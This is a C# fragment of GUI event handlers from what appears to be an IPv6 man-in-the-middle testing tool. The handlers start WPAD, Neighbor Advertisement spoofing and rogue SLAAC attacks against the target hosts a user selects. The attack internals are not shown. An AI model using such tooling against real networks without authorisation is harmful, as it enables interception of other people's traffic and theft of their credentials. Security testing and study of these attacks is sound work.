private void btnWpadv6Attack_Click(object sender, EventArgs e) { List<IPAddress> lstTargets = wpadv6TargetPanel.GetTargetsList(); foreach (IPAddress target in lstTargets) { PhysicalAddress macTarget = Program.CurrentProject.data.GetNeighborMAC(target); if (macTarget == null) return; // Se descarta el target. Algo raro pasa, ¿Como tener la IP sin la mac en la lista de vecinos? MitmAttack attack = new Data.MitmAttack(new Target(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(Program.CurrentProject.data.GetDevice()), null), new Target(target, macTarget), AttackType.WpadIPv6); Program.CurrentProject.data.AddAttack(attack); attack.Start(); AddAttackToListViewEx(attack); Program.LogThis("Performing a MITM (WPAD) attack " + attack.t2.ip.ToString(), Logs.Log.LogType.WpadIPv6); } wpadv6TargetPanel.ClearTargets(); }
private void btStartNeighborSpoof_Click(object sender, EventArgs e) { List<IPAddress> lstGateway = panelNeighborAdvSpoof.GetGatewayList(); List<IPAddress> lstTargets = panelNeighborAdvSpoof.GetTargetsList(); if (lstGateway.Count == 0) ShowMessage("You've to set a 'gateway'", 1000, FormMessage.IconType.Error); else if (lstTargets.Count == 0) ShowMessage("You've to set at least any target", 1000, FormMessage.IconType.Error); else { IPAddress gateway = (IPAddress)lstGateway[0]; foreach (IPAddress target in lstTargets) { PhysicalAddress macTarget = Program.CurrentProject.data.GetNeighborMAC(target); PhysicalAddress macGateway = Program.CurrentProject.data.GetNeighborMAC(gateway); if ((macTarget == null) || (macGateway == null)) return; // Se descarta el target. Algo raro pasa, ¿Como tener la IP sin la mac en la lista de vecinos? MitmAttack attack = new Data.MitmAttack(new Target(gateway, macGateway), new Target(target, macTarget), AttackType.NeighborAdvertisementSpoofing); Program.CurrentProject.data.AddAttack(attack); attack.Start(); AddAttackToListViewEx(attack); Program.LogThis("Performing a MITM (Neighbor spoofing) attack between " + attack.t1.ip.ToString() + " and " + attack.t2.ip.ToString(), Logs.Log.LogType.NeighborSpoofing); } panelNeighborAdvSpoof.ClearGateway(); panelNeighborAdvSpoof.ClearTargets(); } }
private void btMitmSLAAC_Click(object sender, EventArgs e) { try { if (IPAddress.Parse(tbSlaacMitmPrefix.Text).GetAddressBytes().Length != 16) { ShowMessage("Prefix must be an Ipv6 address", 1000, FormMessage.IconType.Error); return; } } catch { ShowMessage("Invalid Prefix", 1000, FormMessage.IconType.Error); return; } List<IPAddress> lstTargets = panelTargetSLAACMitm.GetTargetsList(); if (lstTargets.Count == 0) ShowMessage("You've to set at least any target", 1000, FormMessage.IconType.Error); else { foreach (IPAddress target in lstTargets) { PhysicalAddress macTarget = Program.CurrentProject.data.GetNeighborMAC(target); MitmAttack attack = new Data.MitmAttack(null, new Target(target, macTarget), AttackType.SlaacMitm) { prefix = (IPAddress.Parse(tbSlaacMitmPrefix.Text).GetAddressBytes()) }; Program.CurrentProject.data.AddAttack(attack); attack.Start(); AddAttackToListViewEx(attack); Program.LogThis(String.Format("Performing a MITM (SLAAC) attack between {0} and Attacker gateway ", attack.t2.ip.ToString()), Logs.Log.LogType.NeighborSpoofing); } panelTargetSLAACMitm.ClearTargets(); } }